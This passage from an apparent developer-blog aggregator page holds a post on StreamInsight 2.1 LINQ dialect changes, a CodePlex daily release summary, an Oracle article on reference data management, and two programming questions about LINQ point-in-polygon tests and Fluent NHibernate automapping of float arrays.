for the parameter is nonsensical to LINQ programmers: static CepStream<R> SelectMany<T, R>(this CepStream<T> source, Expression<Func<CepStream<T>, CepStream<R>>> streamSelector) Using Unit as the type for the parameter accurately reflects the StreamInsight’s capabilities: static IQStreamable<R> SelectMany<T, R>(this IQStreamable<T> source, Expression<Func<Unit, IQStreamable<R>>> streamSelector) For queries that succeed – that is, queries that do not reference the stream selector parameter – there is no difference between the code written for the two overloads: from x in xs from y in ys select f(x, y) Top-K The Take operator used in StreamInsight causes confusion for LINQ programmers because it is applied to the (unbounded) stream rather than the (bounded) window, suggesting that the query as a whole will return k rows: (from win in xs.SnapshotWindow() from x in win orderby x.A select x.B).Take(k) The use of SelectMany is also unfortunate in this context because it implies the availability of the window parameter within the remainder of the comprehension. The following compiles but fails at runtime: (from win in xs.SnapshotWindow() from x in win orderby x.A select win).Take(k) The Take operator in 2.1 is applied to the window rather than the stream: Before After (from win in xs.SnapshotWindow() from x in win orderby x.A select x.B).Take(k) from win in xs.SnapshotWindow() from b in     (from x in win     orderby x.A     select x.B).Take(k) select b Multicast We are introducing an explicit multicast operator in order to preserve expression identity, which is important given the semantics about moving code to and from StreamInsight. This also better matches existing LINQ dialects, such as Reactive. This pattern enables expressing multicasting in two ways: Implicit Explicit var ys = from x in xs          where x.A > 1          select x; var zs = from y1 in ys          from y2 in ys.ShiftEventTime(_ => TimeSpan.FromSeconds(1))          select y1 + y2; var ys = from x in xs          where x.A > 1          select x; var zs = ys.Multicast(ys1 =>     from y1 in ys1     from y2 in ys1.ShiftEventTime(_ => TimeSpan.FromSeconds(1))     select y1 + y2; Notice the product translates an expression using implicit multicast into an expression using the explicit multicast operator. The user does not see this translation. Default window policies Only default window policies are supported in the new surface. Other policies can be simulated by using AlterEventLifetime. Before After xs.SnapshotWindow(     WindowInputPolicy.ClipToWindow,     SnapshotWindowInputPolicy.Clip) xs.SnapshotWindow() xs.TumblingWindow(     TimeSpan.FromSeconds(1),     HoppingWindowOutputPolicy.PointAlignToWindowEnd) xs.TumblingWindow(     TimeSpan.FromSeconds(1)) xs.TumblingWindow(     TimeSpan.FromSeconds(1),     HoppingWindowOutputPolicy.ClipToWindowEnd) Not supported … LeftAntiJoin Representation of LASJ as a correlated sub-query in the LINQ surface is problematic as the StreamInsight engine does not support correlated sub-queries (see discussion of SelectMany). The current syntax requires the introduction of an otherwise unsupported ‘IsEmpty()’ operator. As a result, the pattern is not discoverable and implies capabilities not present in the server. The direct representation of LASJ is used instead: Before After from x in xs where     (from y in ys     where x.A > y.B     select y).IsEmpty() select x xs.LeftAntiJoin(ys, (x, y) => x.A > y.B) from x in xs where     (from y in ys     where x.A == y.B     select y).IsEmpty() select x xs.LeftAntiJoin(ys, x => x.A, y => y.B) ApplyWithUnion The ApplyWithUnion methods have been deprecated since their signatures are redundant given the standard SelectMany overloads: Before After xs.GroupBy(x => x.A).ApplyWithUnion(gs => from win in gs.SnapshotWindow() select win.Count()) xs.GroupBy(x => x.A).SelectMany(     gs =>     from win in gs.SnapshotWindow()     select win.Count()) xs.GroupBy(x => x.A).ApplyWithUnion(gs => from win in gs.SnapshotWindow() select win.Count(), r => new { r.Key, Count = r.Payload }) from x in xs group x by x.A into gs from win in gs.SnapshotWindow() select new { gs.Key, Count = win.Count() } Alternate UDO syntax The representation of UDOs in the StreamInsight LINQ dialect confuses cardinalities. Based on the semantics of user-defined operators in StreamInsight, one would expect to construct queries in the following form: from win in xs.SnapshotWindow() from y in MyUdo(win) select y Instead, the UDO proxy method is referenced within a projection, and the (many) results returned by the user code are automatically flattened into a stream: from win in xs.SnapshotWindow() select MyUdo(win) The “many-or-one” confusion is exemplified by the following example that compiles but fails at runtime: from win in xs.SnapshotWindow() select MyUdo(win) + win.Count() The above query must fail because the UDO is in fact returning many values per window while the count aggregate is returning one. Original syntax New alternate syntax from win in xs.SnapshotWindow() select win.UdoProxy(1) from win in xs.SnapshotWindow() from y in win.UserDefinedOperator(() => new Udo(1)) select y -or- from win in xs.SnapshotWindow() from y in win.UdoMacro(1) select y Notice that this formulation also sidesteps the dynamic type pitfalls of the existing “proxy method” approach to UDOs, in which the type of the UDO implementation (TInput, TOuput) and the type of its constructor arguments (TConfig) need to align in a precise and non-obvious way with the argument and return types for the corresponding proxy method. UDSO syntax UDSO currently leverages the DataContractSerializer to clone initial state for logical instances of the user operator. Initial state will instead be described by an expression in the new LINQ surface. Before After xs.Scan(new Udso()) xs.Scan(() => new Udso()) Name changes ShiftEventTime => AlterEventStartTime: The alter event lifetime overload taking a new start time value has been renamed. CountByStartTimeWindow => CountWindow

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• CodePlex Daily Summary for Wednesday, December 12, 2012

  CodePlex Daily Summary for Wednesday, December 12, 2012Popular ReleasesTorrents-List Organizer: Torrents-list organizer v 0.5.0.3: ????????? ? 0.5.0.3: 1) ?????????? ??????? ??? ?????????? ???-??????? ? ???????-??????. 2) ? ??????? ?????? ??????????? ?????????????? ????? ?????????? ?????????: ???? ?? ??????-???? ?????????? ?? ????????? ?? ????? ???????, ?? ? ????? ????? ????????? ????? ????????? ?? ????, ? ????????? ??? ???? ?????? ??????????.Fiskalizacija za developere: FiskalizacijaDev 2.0: Prva prava produkcijska verzija - Zakon je tu, ova je verzija uskladena sa trenutno važecom Tehnickom specifikacijom (v1.2. od 04.12.2012.) i spremna je za produkcijsko korištenje. Verzije iza ove ce ovisiti o naknadnim izmjenama Zakona i/ili Tehnicke specifikacije, odnosno, o eventualnim greškama u radu/zahtjevima community-a za novim feature-ima. Novosti u v2.0 su: - That assembly does not allow partially trusted callers (http://fiskalizacija.codeplex.com/workitem/699) - scheme IznosType...Simple Injector: Simple Injector v1.6.1: This patch release fixes a bug in the integration libraries that disallowed the application to start when .NET 4.5 was not installed on the machine (but only .NET 4.0). The following packages are affected: SimpleInjector.Integration.Web.dll SimpleInjector.Integration.Web.Mvc.dll SimpleInjector.Integration.Wcf.dll SimpleInjector.Extensions.LifetimeScoping.dllBootstrap Helpers: Version 1: First releasesheetengine - Isometric HTML5 JavaScript Display Engine: sheetengine v1.2.0: Main featuresOptimizations for intersectionsThe main purpose of this release was to further optimize rendering performance by skipping object intersections with other sheets. From now by default an object's sheets will only intersect its own sheets and never other static or dynamic sheets. This is the usual scenario since objects will never bump into other sheets when using collision detection. DocumentationMany of you have been asking for proper documentation, so here it goes. Check out the...MySqlBackup.NET - MySQL Backup Solution for C#, VB.NET, ASP.NET: MySqlBackup.NET 1.5.5 beta: Fix Bug: max_allowed_packet is modified to 1GB, but does not take effect in import & export process. This bug is fixed by re-initialize the MySqlConnection. Modified max_allowed_packet will only take effect on new connection, not on current connection.DirectX Tool Kit: December 11, 2012: December 11, 2012 Ex versions of DDSTextureLoader and WICTextureLoader Removed use of ATL's CComPtr in favor of WRL's ComPtr for all platforms to support VS Express editions Updated VS 2010 project for official 'property sheet' integration for Windows 8.0 SDK Minor fix to CommonStates for Feature Level 9.1 Tweaked AlphaTestEffect.cpp to work around ARM NEON compiler codegen bug Added dxguid.lib as a default library for Debug builds to resolve GUID link issuesDirectXTex texture processing library: December 2012: December 11, 2012 Ex versions of CreateTexture, CreateShaderResourceView, DDSTextureLoader and WICTextureLoader Fixed BC2 and BC3 decompression issue for unusual color encoding case Converted annotation to SAL2 for improved VS 2012 /analyze experience Updated DirectXTex, DDSView, and Texconv with VS 2010 + Windows 8.0 SDK project using official 'property sheets'ArcGIS Editor for OpenStreetMap: ArcGIS Editor for OSM 2.1 Final for 10.1: We are proud to announce the release of ArcGIS Editor for OpenStreetMap version 2.1. This download is compatible with ArcGIS 10.1, and includes setups for the Desktop Component, Desktop Component when 64 bit Background Geoprocessing is installed, and the Server Component. Important: if you already have ArcGIS Editor for OSM installed but want to install this new version, you will need to uninstall your previous version and then install this one. This release includes support for the ArcGIS 1...Ad Rotator for Windows & Windows Phone: AdRotator v1.3 Silverlight: Note now also available via NuGet for both WP7 and WP8 v 1.3 Changelog: *Updated Ad Providers to Latest releases, inc: - Inneractive (new Nokia release) - Updated WP Smaato - MS Ad SDK Changed Caching strategy to always grab from network unless unavailable Pubcenter (Suspend/Resume) feature added Pubcenter "Active" fix option Cleaned up some threaded calls Other minor fixes For usage details check out the following tutorial blog post - http://bit.ly/S5CD4T *Note Included bin...SharpCompress - a fully native C# library for RAR, 7Zip, Zip, Tar, GZip, BZip2: SharpCompress 0.8.2: This release just contains some fixes that have been done since the last release. Plus, this is strong named as well. I apologize for the lack of updates but my free time is less these days.Media Companion: MediaCompanion3.511b release: Two more bug fixes: - General Preferences were not getting restored - Fanart and poster image files were being locked, preventing changes to themVodigi Open Source Interactive Digital Signage: Vodigi Release 5.5: The following enhancements and fixes are included in Vodigi 5.5. Vodigi Administrator - Manage Music Files - Add Music Files to Image Slide Shows - Manage System Messages - Display System Messages to Users During Login - Ported to Visual Studio 2012 and MVC 4 - Added New Vodigi Administrator User Guide Vodigi Player - Improved Login/Schedule Startup Procedure - Startup Using Last Known Schedule when Disconnected on Startup - Improved Check for Schedule Changes - Now Every 15 Minutes - Pla...Secretary Tool: Secretary Tool v1.1.0: I'm still considering this version a beta version because, while it seems to work well for me, I haven't received any feedback and I certainly don't want anyone relying solely on this tool for calculations and such until its correct functioning is verified by someone. This version includes several bug fixes, including a rather major one with Emergency Contact Information not saving. Also, reporting is completed. There may be some tweaking to the reporting engine, but it is good enough to rel...VidCoder: 1.4.10 Beta: Added progress percent to the title bar/task bar icon. Added MPLS information to Blu-ray titles. Fixed the following display issues in Windows 8: Uncentered text in textbox controls Disabled controls not having gray text making them hard to identify as disabled Drop-down menus having hard-to distinguish white on light-blue text Added more logging to proxy disconnect issues and increased timeout on initial call to help prevent timeouts. Fixed encoding window showing the built-in pre...WPF Application Framework (WAF): WPF Application Framework (WAF) 2.5.0.400: Version 2.5.0.400 (Release): This release contains the source code of the WPF Application Framework (WAF) and the sample applications. Requirements .NET Framework 4.0 (The package contains a solution file for Visual Studio 2010) The unit test projects require Visual Studio 2010 Professional Changelog Legend: [B] Breaking change; [O] Marked member as obsolete Update the documentation. InfoMan: Write the documentation. Other Downloads Downloads OverviewHome Access Plus+: v8.5: v8.5.1211.1240 Fixed: changed to using the thumbnailPhoto attribute instead of jpegPhoto v8.5.1208.1500 This is a point release, for the other parts of HAP+ see the v8.3 release. Fixed: #me#me issue with the Edit Profile Link Updated: 8.5.1208 release Updated: Documentation with hidden booking system feature Added: Room Drop Down to the Booking System (no control panel interface), can be Resource Specific Fixed: Recursive AD Group Membership Lookup Fixed: User.IsInRole with recursive lookup...Http Explorer: httpExplorer-1.1: httpExplorer now has the ability to connect to http server via web proxies. The proxy may be explicitly specified by hostname or IP address. Or it may be specified via the Internet Options settings of Windows. You may also specify credentials to pass to the proxy if the proxy requires them. These credentials may be NTLM or basic authentication (clear text username and password).Bee OPOA Platform: Bee OPOA Demo V1.0.001: Initial version.Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.78: Fix for issue #18924 - using -pretty option left in ///#DEBUG blocks. Fix for issue #18980 - bad += optimization caused bug in resulting code. Optimization has been removed pending further review.New ProjectsBattle of Colors: Vacation project. Summary.blockme: This is a Blog using C#, ASP.Net MVC3 & RazorCoevery for Windows Phone: Coevery for Windows Phone is a free CRM Windows Phone application developed by Nova Software which is a .NET focused software development company.DNN Flash Viewer: Simple module for displaying flash content within a DNN pane.DonablRow Line Follower Simulator: This Application helps you to find the best Algorithm for your line follower robot.ExcelMerge: Merge microsoft excel file to a single.FCMGAAI: project ini merupakan implementasi algoritma fuzzy Cmeans dengan optimasi algoritma genetikaLIRC#: LIRC# is a simple client library to allow a .NET application to interact with an LIRC server to control or be controlled by IR devices.Managed Media Aggregation: Allowing developers to aggregate media from Rtsp sources over Rtsp without degrading the source bandwidth. Agnostic of Video or Audio format. Decodes Jpeg / RTPMarket Data Server: Local database server with quotes and trade-related data associated with equity, fixed-income, financial derivatives, currency, and other investment instrumentsproject13251212: papproject13271212: paPutovanje: Android aplikacija napisana za Mtel android ligu 2Questionario dinâmico: Questionario dinâmico para fins de estudos.Rasoulian: my RepoSharepoint Blog Archive Web Part: This Web Part is an alternative of the standart SharePoint Blog Site Archives Web Part. It's based on SharePoint 2010 Blog Site Archives Web Part by Bandar AlSimpleSocket for Windows Phone: SimpleSocket for Windows Phone is a super simple to use wrap around the built in socket framework that makes using socket connections incredibly easy and fast.

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• Reference Data Management

  - by rahulkamath

  Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableColorfulListAccent2 {mso-style-name:"Colorful List - Accent 2"; mso-tstyle-rowband-size:1; mso-tstyle-colband-size:1; mso-style-priority:72; mso-style-unhide:no; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-tstyle-shading:#F8EDED; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themetint:25; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Calibri","sans-serif"; color:black; mso-themecolor:text1;} table.MsoTableColorfulListAccent2FirstRow {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:first-row; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:#9E3A38; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themeshade:204; mso-tstyle-border-bottom:1.5pt solid white; mso-tstyle-border-bottom-themecolor:background1; color:white; mso-themecolor:background1; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2LastRow {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:last-row; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:white; mso-tstyle-shading-themecolor:background1; mso-tstyle-border-top:1.5pt solid black; mso-tstyle-border-top-themecolor:text1; color:#9E3A38; mso-themecolor:accent2; mso-themeshade:204; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2FirstCol {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:first-column; mso-style-priority:72; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2LastCol {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:last-column; mso-style-priority:72; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2OddColumn {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:odd-column; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:#EFD3D2; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themetint:63; mso-tstyle-border-top:cell-none; mso-tstyle-border-left:cell-none; mso-tstyle-border-bottom:cell-none; mso-tstyle-border-right:cell-none; mso-tstyle-border-insideh:cell-none; mso-tstyle-border-insidev:cell-none;} table.MsoTableColorfulListAccent2OddRow {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:odd-row; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:#F2DBDB; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themetint:51;} Reference Data Management Oracle Data Relationship Management (DRM) has always been extremely powerful as an Enterprise MDM solution that can help manage changes to master data in a way that influences enterprise structure, whether it be mastering chart of accounts to enable financial transformation, or revamping organization structures to drive business transformation and operational efficiencies, or mastering sales territories in light of rapid fire acquisitions that require frequent sales territory refinement, equitable distribution of leads and accounts to salespersons, and alignment of budget/forecast with results to optimize sales coverage. Increasingly, DRM is also being utilized by Oracle customers for reference data management, an emerging solution space that deserves some explanation. What is reference data? Reference data is a close cousin of master data. While master data may be more rapidly changing, requires consensus building across stakeholders and lends structure to business transactions, reference data is simpler, more slowly changing, but has semantic content that is used to categorize or group other information assets – including master data – and give them contextual value. The following table contains an illustrative list of examples of reference data by type. Reference data types may include types and codes, business taxonomies, complex relationships & cross-domain mappings or standards. Types & Codes Taxonomies Relationships / Mappings Standards Transaction Codes Industry Classification Categories and Codes, e.g., North America Industry Classification System (NAICS) Product / Segment; Product / Geo Calendars (e.g., Gregorian, Fiscal, Manufacturing, Retail, ISO8601) Lookup Tables (e.g., Gender, Marital Status, etc.) Product Categories City à State à Postal Codes Currency Codes (e.g., ISO) Status Codes Sales Territories (e.g., Geo, Industry Verticals, Named Accounts, Federal/State/Local/Defense) Customer / Market Segment; Business Unit / Channel Country Codes (e.g., ISO 3166, UN) Role Codes Market Segments Country Codes / Currency Codes / Financial Accounts Date/Time, Time Zones (e.g., ISO 8601) Domain Values Universal Standard Products and Services Classification (UNSPSC), eCl@ss International Classification of Diseases (ICD) e.g., ICD9 à IC10 mappings Tax Rates Why manage reference data? Reference data carries contextual value and meaning and therefore its use can drive business logic that helps execute a business process, create a desired application behavior or provide meaningful segmentation to analyze transaction data. Further, mapping reference data often requires human judgment. Sample Use Cases of Reference Data Management Healthcare: Diagnostic Codes The reference data challenges in the healthcare industry offer a case in point. Part of being HIPAA compliant requires medical practitioners to transition diagnosis codes from ICD-9 to ICD-10, a medical coding scheme used to classify diseases, signs and symptoms, causes, etc. The transition to ICD-10 has a significant impact on business processes, procedures, contracts, and IT systems. Since both code sets ICD-9 and ICD-10 offer diagnosis codes of very different levels of granularity, human judgment is required to map ICD-9 codes to ICD-10. The process requires collaboration and consensus building among stakeholders much in the same way as does master data management. Moreover, to build reports to understand utilization, frequency and quality of diagnoses, medical practitioners may need to “cross-walk” mappings -- either forward to ICD-10 or backwards to ICD-9 depending upon the reporting time horizon. Spend Management: Product, Service & Supplier Codes Similarly, as an enterprise looks to rationalize suppliers and leverage their spend, conforming supplier codes, as well as product and service codes requires supporting multiple classification schemes that may include industry standards (e.g., UNSPSC, eCl@ss) or enterprise taxonomies. Aberdeen Group estimates that 90% of companies rely on spreadsheets and manual reviews to aggregate, classify and analyze spend data, and that data management activities account for 12-15% of the sourcing cycle and consume 30-50% of a commodity manager’s time. Creating a common map across the extended enterprise to rationalize codes across procurement, accounts payable, general ledger, credit card, procurement card (P-card) as well as ACH and bank systems can cut sourcing costs, improve compliance, lower inventory stock, and free up talent to focus on value added tasks. Specialty Finance: Point of Sales Transaction Codes and Product Codes In the specialty finance industry, enterprises are confronted with usury laws – governed at the state and local level – that regulate financial product innovation as it relates to consumer loans, check cashing and pawn lending. To comply, it is important to demonstrate that transactions booked at the point of sale are posted against valid product codes that were on offer at the time of booking the sale. Since new products are being released at a steady stream, it is important to ensure timely and accurate mapping of point-of-sale transaction codes with the appropriate product and GL codes to comply with the changing regulations. Multi-National Companies: Industry Classification Schemes As companies grow and expand across geographies, a typical challenge they encounter with reference data represents reconciling various versions of industry classification schemes in use across nations. While the United States, Mexico and Canada conform to the North American Industry Classification System (NAICS) standard, European Union countries choose different variants of the NACE industry classification scheme. Multi-national companies must manage the individual national NACE schemes and reconcile the differences across countries. Enterprises must invest in a reference data change management application to address the challenge of distributing reference data changes to downstream applications and assess which applications were impacted by a given change.

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• Changes to the LINQ-to-StreamInsight Dialect

  - by Roman Schindlauer

  In previous versions of StreamInsight (1.0 through 2.0), CepStream<> represents temporal streams of many varieties: Streams with ‘open’ inputs (e.g., those defined and composed over CepStream<T>.Create(string streamName) Streams with ‘partially bound’ inputs (e.g., those defined and composed over CepStream<T>.Create(Type adapterFactory, …)) Streams with fully bound inputs (e.g., those defined and composed over To*Stream – sequences or DQC) The stream may be embedded (where Server.Create is used) The stream may be remote (where Server.Connect is used) When adding support for new programming primitives in StreamInsight 2.1, we faced a choice: Add a fourth variety (use CepStream<> to represent streams that are bound the new programming model constructs), or introduce a separate type that represents temporal streams in the new user model. We opted for the latter. Introducing a new type has the effect of reducing the number of (confusing) runtime failures due to inappropriate uses of CepStream<> instances in the incorrect context. The new types are: IStreamable<>, which logically represents a temporal stream. IQStreamable<> : IStreamable<>, which represents a queryable temporal stream. Its relationship to IStreamable<> is analogous to the relationship of IQueryable<> to IEnumerable<>. The developer can compose temporal queries over remote stream sources using this type. The syntax of temporal queries composed over IQStreamable<> is mostly consistent with the syntax of our existing CepStream<>-based LINQ provider. However, we have taken the opportunity to refine certain aspects of the language surface. Differences are outlined below. Because 2.1 introduces new types to represent temporal queries, the changes outlined in this post do no impact existing StreamInsight applications using the existing types! SelectMany StreamInsight does not support the SelectMany operator in its usual form (which is analogous to SQL’s “CROSS APPLY” operator): static IEnumerable<R> SelectMany<T, R>(this IEnumerable<T> source, Func<T, IEnumerable<R>> collectionSelector) It instead uses SelectMany as a convenient syntactic representation of an inner join. The parameter to the selector function is thus unavailable. Because the parameter isn’t supported, its type in StreamInsight 1.0 – 2.0 wasn’t carefully scrutinized. Unfortunately, the type chosen for the parameter is nonsensical to LINQ programmers: static CepStream<R> SelectMany<T, R>(this CepStream<T> source, Expression<Func<CepStream<T>, CepStream<R>>> streamSelector) Using Unit as the type for the parameter accurately reflects the StreamInsight’s capabilities: static IQStreamable<R> SelectMany<T, R>(this IQStreamable<T> source, Expression<Func<Unit, IQStreamable<R>>> streamSelector) For queries that succeed – that is, queries that do not reference the stream selector parameter – there is no difference between the code written for the two overloads: from x in xs from y in ys select f(x, y) Top-K The Take operator used in StreamInsight causes confusion for LINQ programmers because it is applied to the (unbounded) stream rather than the (bounded) window, suggesting that the query as a whole will return k rows: (from win in xs.SnapshotWindow() from x in win orderby x.A select x.B).Take(k) The use of SelectMany is also unfortunate in this context because it implies the availability of the window parameter within the remainder of the comprehension. The following compiles but fails at runtime: (from win in xs.SnapshotWindow() from x in win orderby x.A select win).Take(k) The Take operator in 2.1 is applied to the window rather than the stream: Before After (from win in xs.SnapshotWindow() from x in win orderby x.A select x.B).Take(k) from win in xs.SnapshotWindow() from b in     (from x in win     orderby x.A     select x.B).Take(k) select b Multicast We are introducing an explicit multicast operator in order to preserve expression identity, which is important given the semantics about moving code to and from StreamInsight. This also better matches existing LINQ dialects, such as Reactive. This pattern enables expressing multicasting in two ways: Implicit Explicit var ys = from x in xs          where x.A > 1          select x; var zs = from y1 in ys          from y2 in ys.ShiftEventTime(_ => TimeSpan.FromSeconds(1))          select y1 + y2; var ys = from x in xs          where x.A > 1          select x; var zs = ys.Multicast(ys1 =>     from y1 in ys1     from y2 in ys1.ShiftEventTime(_ => TimeSpan.FromSeconds(1))     select y1 + y2; Notice the product translates an expression using implicit multicast into an expression using the explicit multicast operator. The user does not see this translation. Default window policies Only default window policies are supported in the new surface. Other policies can be simulated by using AlterEventLifetime. Before After xs.SnapshotWindow(     WindowInputPolicy.ClipToWindow,     SnapshotWindowInputPolicy.Clip) xs.SnapshotWindow() xs.TumblingWindow(     TimeSpan.FromSeconds(1),     HoppingWindowOutputPolicy.PointAlignToWindowEnd) xs.TumblingWindow(     TimeSpan.FromSeconds(1)) xs.TumblingWindow(     TimeSpan.FromSeconds(1),     HoppingWindowOutputPolicy.ClipToWindowEnd) Not supported … LeftAntiJoin Representation of LASJ as a correlated sub-query in the LINQ surface is problematic as the StreamInsight engine does not support correlated sub-queries (see discussion of SelectMany). The current syntax requires the introduction of an otherwise unsupported ‘IsEmpty()’ operator. As a result, the pattern is not discoverable and implies capabilities not present in the server. The direct representation of LASJ is used instead: Before After from x in xs where     (from y in ys     where x.A > y.B     select y).IsEmpty() select x xs.LeftAntiJoin(ys, (x, y) => x.A > y.B) from x in xs where     (from y in ys     where x.A == y.B     select y).IsEmpty() select x xs.LeftAntiJoin(ys, x => x.A, y => y.B) ApplyWithUnion The ApplyWithUnion methods have been deprecated since their signatures are redundant given the standard SelectMany overloads: Before After xs.GroupBy(x => x.A).ApplyWithUnion(gs => from win in gs.SnapshotWindow() select win.Count()) xs.GroupBy(x => x.A).SelectMany(     gs =>     from win in gs.SnapshotWindow()     select win.Count()) xs.GroupBy(x => x.A).ApplyWithUnion(gs => from win in gs.SnapshotWindow() select win.Count(), r => new { r.Key, Count = r.Payload }) from x in xs group x by x.A into gs from win in gs.SnapshotWindow() select new { gs.Key, Count = win.Count() } Alternate UDO syntax The representation of UDOs in the StreamInsight LINQ dialect confuses cardinalities. Based on the semantics of user-defined operators in StreamInsight, one would expect to construct queries in the following form: from win in xs.SnapshotWindow() from y in MyUdo(win) select y Instead, the UDO proxy method is referenced within a projection, and the (many) results returned by the user code are automatically flattened into a stream: from win in xs.SnapshotWindow() select MyUdo(win) The “many-or-one” confusion is exemplified by the following example that compiles but fails at runtime: from win in xs.SnapshotWindow() select MyUdo(win) + win.Count() The above query must fail because the UDO is in fact returning many values per window while the count aggregate is returning one. Original syntax New alternate syntax from win in xs.SnapshotWindow() select win.UdoProxy(1) from win in xs.SnapshotWindow() from y in win.UserDefinedOperator(() => new Udo(1)) select y -or- from win in xs.SnapshotWindow() from y in win.UdoMacro(1) select y Notice that this formulation also sidesteps the dynamic type pitfalls of the existing “proxy method” approach to UDOs, in which the type of the UDO implementation (TInput, TOuput) and the type of its constructor arguments (TConfig) need to align in a precise and non-obvious way with the argument and return types for the corresponding proxy method. UDSO syntax UDSO currently leverages the DataContractSerializer to clone initial state for logical instances of the user operator. Initial state will instead be described by an expression in the new LINQ surface. Before After xs.Scan(new Udso()) xs.Scan(() => new Udso()) Name changes ShiftEventTime => AlterEventStartTime: The alter event lifetime overload taking a new start time value has been renamed. CountByStartTimeWindow => CountWindow

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• Point in polygon OR point on polygon using LINQ

  - by wageoghe

  As noted in an earlier question, How to Zip enumerable with itself, I am working on some math algorithms based on lists of points. I am currently working on point in polygon. I have the code for how to do that and have found several good references here on SO, such as this link Hit test. So, I can figure out whether or not a point is in a polygon. As part of determining that, I want to determine if the point is actually on the polygon. This I can also do. If I can do all of that, what is my question you might ask? Can I do it efficiently using LINQ? I can already do something like the following (assuming a Pairwise extension method as described in my earlier question as well as in links to which my question/answers links, and assuming a Position type that has X and Y members). I have not tested much, so the lambda might not be 100% correct. Also, it does not take very small differences into account. public static PointInPolygonLocation PointInPolygon(IEnumerable<Position> pts, Position pt) { int numIntersections = pts.Pairwise( (p1, p2) => { if (p1.Y != p2.Y) { if ((p1.Y >= pt.Y && p2.Y < pt.Y) || (p1.Y < pt.Y && p2.Y >= pt.Y)) { if (p1.X < p1.X && p2.X < pt.X) { return 1; } if (p1.X < pt.X || p2.X < pt.X) { if (((pt.Y - p1.Y) * ((p1.X - p2.X) / (p1.Y - p2.Y)) * p1.X) < pt.X) { return 1; } } } } return 0; }).Sum(); if (numIntersections % 2 == 0) { return PointInPolygonLocation.Outside; } else { return PointInPolygonLocation.Inside; } } This function, PointInPolygon, takes the input Position, pt, iterates over the input sequence of position values, and uses the Jordan Curve method to determine how many times a ray extended from pt to the left intersects the polygon. The lambda expression will yield, into the "zipped" list, 1 for every segment that is crossed, and 0 for the rest. The sum of these values determines if pt is inside or outside of the polygon (odd == inside, even == outside). So far, so good. Now, for any consecutive pairs of position values in the sequence (i.e. in any execution of the lambda), we can also determine if pt is ON the segment p1, p2. If that is the case, we can stop the calculation because we have our answer. Ultimately, my question is this: Can I perform this calculation (maybe using Aggregate?) such that we will only iterate over the sequence no more than 1 time AND can we stop the iteration if we encounter a segment that pt is ON? In other words, if pt is ON the very first segment, there is no need to examine the rest of the segments because we have the answer. It might very well be that this operation (particularly the requirement/desire to possibly stop the iteration early) does not really lend itself well to the LINQ approach. It just occurred to me that maybe the lambda expression could yield a tuple, the intersection value (1 or 0 or maybe true or false) and the "on" value (true or false). Maybe then I could use TakeWhile(anontype.PointOnPolygon == false). If I Sum the tuples and if ON == 1, then the point is ON the polygon. Otherwise, the oddness or evenness of the sum of the other part of the tuple tells if the point is inside or outside.

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• How do you automap List<float> or float[] with Fluent NHibernate?

  - by Tom Bushell

  Having successfully gotten a sample program working, I'm now starting to do Real Work with Fluent NHibernate - trying to use Automapping on my project's class heirarchy. It's a scientific instrumentation application, and the classes I'm mapping have several properties that are arrays of floats e.g. private float[] _rawY; public virtual float[] RawY { get { return _rawY; } set { _rawY = value; } } These arrays can contain a maximum of 500 values. I didn't expect Automapping to work on arrays, but tried it anyway, with some success at first. Each array was auto mapped to a BLOB (using SQLite), which seemed like a viable solution. The first problem came when I tried to call SaveOrUpdate on the objects containing the arrays - I got "No persister for float[]" exceptions. So my next thought was to convert all my arrays into ILists e.g. public virtual IList<float> RawY { get; set; } But now I get: NHibernate.MappingException: Association references unmapped class: System.Single Since Automapping can deal with lists of complex objects, it never occured to me it would not be able to map lists of basic types. But after doing some Googling for a solution, this seems to be the case. Some people seem to have solved the problem, but the sample code I saw requires more knowledge of NHibernate than I have right now - I didn't understand it. Questions: 1. How can I make this work with Automapping? 2. Also, is it better to use arrays or lists for this application? I can modify my app to use either if necessary (though I prefer lists). Edit: I've studied the code in Mapping Collection of Strings, and I see there is test code in the source that sets up an IList of strings, e.g. public virtual IList<string> ListOfSimpleChildren { get; set; } [Test] public void CanSetAsElement() { new MappingTester<OneToManyTarget>() .ForMapping(m => m.HasMany(x => x.ListOfSimpleChildren).Element("columnName")) .Element("class/bag/element").Exists(); } so this must be possible using pure Automapping, but I've had zero luck getting anything to work, probably because I don't have the requisite knowlege of manually mapping with NHibernate. Starting to think I'm going to have to hack this (by encoding the array of floats as a single string, or creating a class that contains a single float which I then aggregate into my lists), unless someone can tell me how to do it properly. End Edit Here's my CreateSessionFactory method, 